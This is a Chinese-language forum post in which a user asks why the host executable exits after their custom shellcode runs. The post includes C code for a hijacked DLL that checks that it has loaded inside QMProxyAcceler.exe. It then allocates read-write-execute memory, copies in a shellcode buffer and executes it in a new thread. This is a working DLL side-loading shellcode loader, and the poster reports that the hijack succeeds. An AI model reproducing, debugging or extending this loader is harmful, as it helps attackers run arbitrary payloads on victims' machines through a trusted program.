自定义shellcode运行完成后 exe就结束了

[bengalm]

我在生成的文件添加了 shellcode 后 劫持是成功的 未报任何错误 但是当处理完新建的线程任务后 主程序exe就退出了
我不知道那里出错了 希望能帮忙看一下
代码如下

DWORD WINAPI ThreadFunction(LPVOID lpParameter)
  {
      LPVOID newMemory;
      HANDLE currentProcess;
      SIZE_T bytesWritten;
      BOOL didWeCopy = FALSE;
  
      // Get the current process handle 
      currentProcess = GetCurrentProcess();
  
  
      // Allocate memory with Read+Write+Execute permissions 
      newMemory = VirtualAllocEx(currentProcess, NULL, SHELLCODELEN, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  
      if (newMemory == NULL)
	      return -1;
  
      // Copy the shellcode into the memory we just created 
      didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&shellcode, SHELLCODELEN, &bytesWritten);
  
      if (!didWeCopy)
	      return -2;
  
  
      // Yay! Let's run our shellcode! 
      ((void(*)())newMemory)();
  
      return 0;
  }

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
	    DisableThreadLibraryCalls(hModule);

	    if (Load() && Init())
	    {
		    TCHAR szAppName[MAX_PATH] = TEXT("QMProxyAcceler.exe");//请修改宿主进程名
		    TCHAR szCurName[MAX_PATH];

		    GetModuleFileName(NULL, szCurName, MAX_PATH);
		    PathStripPath(szCurName);
	    
		    
		    //是否判断宿主进程名
		    if (StrCmpI(szCurName, szAppName) == 0)
		    {
			    //启动补丁线程或者其他操作
			    HANDLE hThread = CreateThread(NULL, NULL, ThreadProc, NULL, NULL, NULL);
			    if (hThread)
			    {
				    CloseHandle(hThread);

				    HANDLE threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
				    CloseHandle(threadHandle);
			    }
			    
		    }
	    }
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
	    Free();
    }

    return TRUE;
}